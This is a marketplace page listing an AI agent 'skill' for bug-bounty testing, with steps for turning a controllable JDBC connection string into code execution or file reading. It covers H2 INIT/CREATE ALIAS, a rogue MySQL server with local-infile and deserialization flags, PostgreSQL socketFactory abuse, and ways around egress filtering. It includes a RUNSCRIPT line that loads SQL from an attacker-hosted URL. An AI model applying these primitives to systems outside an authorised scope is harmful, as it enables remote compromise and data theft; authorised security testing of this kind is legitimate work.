Saltar al contenido
Nuevo

DeepSeek V4.1 Flash gratis por 7 días: 10M tokens al día tras una recarga de $10 o más. Hasta el 30/11.

Cómo funciona
noorqureshi/web-jdbc-attacksWeb y bug bounty

web-jdbc-attacks

⁨Turn an attacker-controllable database connection string / JDBC URL into RCE via the driver itself. Load when an app lets you set a DB host/URL/driver: a "test connection" form, a data-source config, an ETL/reporting/integration tool, or a processor that takes a JDBC URL. Signals: a jdbc: URL field,⁩

v2026.10.14-ee0e0c54 instalaciones+4 en 7 días27 EstrellasMITsincronizado hace 22 horas

Instalar

¿Aún no tienes la CLI de NotHoly? Instálala primero.

$ curl -fsSL https://notholy.com/install.sh | sh
$ notholy skills install noorqureshi/web-jdbc-attacks

Escribe en ⁦~/.notholy/skills⁩ después de comprobar la firma y el SHA-256.

FirmaFirmado, ed25519
/W0XvoqvIh…FZGZqmDw==La CLI comprueba el SHA-256 y la firma antes de escribir cualquier archivo.
Paquete6298725d…d408600e
6298725d9d84…8532d408600e1 archivo · ⁦1.9 KB⁩
EscaneoBajo1 hallazgo
  • Enlaces a dominios externos
Ver el escaneo completo
Fuentegithub.com/NoorQureshi/security-skills/tree/main/skills/web/web-jdbc-attacks@ee0e0c5

Esta entrada todavía no está escrita en tu idioma, así que aparece en English.

When it applies

An application lets you influence a database connection — a full JDBC URL, host/port, or driver properties — via a "test connection" button, a data-source/integration config, or a processor in an ETL/automation tool (NiFi, Mirth, reporting suites). The connection itself becomes the exploit: several JDBC drivers execute code or read files as a side effect of connecting.

Why it works

JDBC drivers do more than open a socket — they honor URL properties that were designed for convenience and are dangerous with an attacker-controlled URL. You don't need valid credentials to a real DB; you point the driver at your server (or an in-process engine) and let a driver feature run code in the app's JVM.

Method

  1. Find the controllable knob — a JDBC URL field, or host/params you can edit; a "test connection" action that dials out is ideal (blind-friendly, no data needed).
  2. Confirm outbound control — point it at a listener you own and watch for the driver's connection (OOB proof the URL is honored).
  3. Pick the driver primitive:
    • H2 — CREATE ALIAS maps a Java method to SQL, so INIT=RUNSCRIPT FROM 'http://you/x.sql' (or an inline CREATE ALIAS ... AS $$ ... $$) executes Java on connect → RCE in the JVM. A classic when an app lets you set an H2 JDBC URL (e.g. via a processor's connection pool).
    • MySQL (malicious server) — a rogue MySQL server + allowLoadLocalInfile=true / autoDeserialize=true / queryInterceptors can read client files or trigger deserialization gadget chains in the connecting app.
    • PostgreSQL / others — socketFactory/socketFactoryArg and similar properties can be abused to instantiate attacker-named classes.
  4. Escalate deserialization where the driver pulls objects — combine with web-deserialization gadget chains on the classpath.
  5. Report the impact, not the connection — RCE/file-read in the app context, validated per reporting-triage-validation.

Gotchas

  • No real DB required — the point is the driver's behavior; a "test connection" that "fails" may still have executed your INIT/read your file.
  • Property allow/deny lists vary by driver version — a blocked property (patched autoDeserialize) doesn't mean another (H2 INIT) is blocked.
  • Classpath decides deserialization impact — no gadget on the classpath, no RCE that way; pivot to a driver that runs code directly (H2).
  • Egress-filtered targets — favor in-process primitives (H2 inline CREATE ALIAS) over fetch-from-URL when the app can't reach you.

Verify success

Code execution or file read in the application's JVM/host from a connection you controlled (e.g. an H2 CREATE ALIAS command runs, or an OOB hit + a returned file), not merely a reflected error.

References

"Make JDBC Attacks Brilliant Again" research; H2 CREATE ALIAS/INIT docs; MySQL JDBC client properties; CWE-502/94. Related: web-deserialization, web-ssrf.

Archivos de esta versión

Permisos

PermisoDeclaradoHallado en el escaneo
Lee archivosNoNo
Escribe archivosNoNo
Ejecuta comandos de shellNoNo
Usa la redSíSí
Usa conectoresNoNo
Controla un navegadorNoNo

Hallazgos del escaneo

Revisado el 13 nov 2026

  1. InfoEnlace · Enlaces a dominios externos

Un escaneo limpio baja el riesgo, pero no prueba que el paquete sea seguro. Lee lo que instalas.

VersiónPublicadaCommitSHA-256FirmaCambio de permisos
v2026.10.14-ee0e0c513 nov 2026ee0e0c56298725dFirmada–

Pregunta todo lo que tu alcance permite.

Crea la cuenta, añade créditos y haz la primera pregunta en el chat o en la terminal.

  1. 1/3

    Crea la cuenta

    Individual o empresa. Puedes pasar a empresa después sin perder saldo ni claves.

    IndividualEmpresa
  2. 2/3

    Añade créditos

    Con tarjeta. Pagas por token, sin suscripción.

    $5.00recarga mínima
  3. 3/3

    Pregunta

    En el chat, o instala el CLI y ejecuta notholy login en tu terminal.

    $ notholy login